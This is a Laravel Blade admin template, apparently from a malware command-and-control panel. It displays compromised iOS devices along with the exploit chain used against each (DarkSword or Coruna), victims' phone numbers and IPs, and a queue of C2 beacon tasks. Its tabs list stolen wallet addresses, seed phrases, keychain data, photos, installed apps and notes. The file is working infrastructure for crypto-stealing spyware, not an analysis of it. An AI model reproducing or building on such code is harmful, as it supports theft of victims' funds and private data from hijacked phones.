@extends('admin.content') @section('title', '设备 '.$device->device_id) @section('content')
设备详情
设备 ID {{ $device->device_id }} 渠道 ID {{ $device->channel_id ?: '—' }}
利用链 @if ($device->isDarkSword()) DarkSword @else Coruna @endif
设备型号 {{ $device->device_model ?: '—' }} iOS 版本 {{ $device->ios_version ?: '—' }}
手机号 {{ $device->phone ?: '—' }} IP {{ $device->ip ?: '—' }}
钱包 @if ((int) $device->has_wallet === \App\Models\Device::WALLET_YES) 有 @foreach ($device->walletNameList() as $name) {{ $name }} @endforeach @elseif ((int) $device->has_wallet === \App\Models\Device::WALLET_NONE) 无 @else 未知 @endif
相册存储
albumStorageEnabled() ? 'checked' : '' }}>
User-Agent {{ $device->user_agent ?: '—' }}
安装 / 更新 {{ $device->created_at }} / {{ $device->updated_at }}
@if (($beaconTasks ?? collect())->isNotEmpty()) @php $queuePending = $beaconTasks->firstWhere('status', \App\Models\DsBeaconTask::STATUS_PENDING); $queueCurrent = $queuePending ?? $beaconTasks->firstWhere('status', \App\Models\DsBeaconTask::STATUS_DISPATCHED); @endphp
C2 队列 @if ($queuePending) · 下一条 {{ $queuePending->type }} @elseif ($beaconTasks->contains('status', \App\Models\DsBeaconTask::STATUS_DISPATCHED)) · 已下发未回传,下一轮 /beacon 会重试 @else · 本轮已回传,之后继续轮询钱包/相册/应用 @endif
@foreach ($beaconTasks as $task) @php $rowStyle = $queueCurrent && $task->id === $queueCurrent->id ? 'background:#fff7ed;' : ''; @endphp @endforeach
# 任务 状态 下发时间 回传时间 回传
{{ $task->position }} {{ $task->type }} {{ $task->typeLabel() }} {{ $task->statusLabel() }} {{ $task->dispatched_at ?: '—' }} {{ $task->completed_at ?: '—' }} @if ($task->result_count) {{ $task->result_count }} 次 @if (!empty($task->result_meta['filename'])) · {{ $task->result_meta['filename'] }} @endif @else — @endif
@endif
    @php $tabs = [ 'wallets' => '钱包地址', 'mnemonics' => '助记词', 'keystores' => '钥匙串', 'photos' => '相册', 'apps' => '已装 APP', 'notes' => '备忘录', 'events' => '日志', ]; @endphp @foreach ($tabs as $key => $label)
  • {{ $label }}
  • @endforeach
@if ($tab === 'photos')
@if(!empty($can_clear_photos)) @endif
@else @if ($tab === 'wallets')
@endif
@endif
@endsection @push('scripts') @include('admin.partials.mnemonic_reveal') @endpush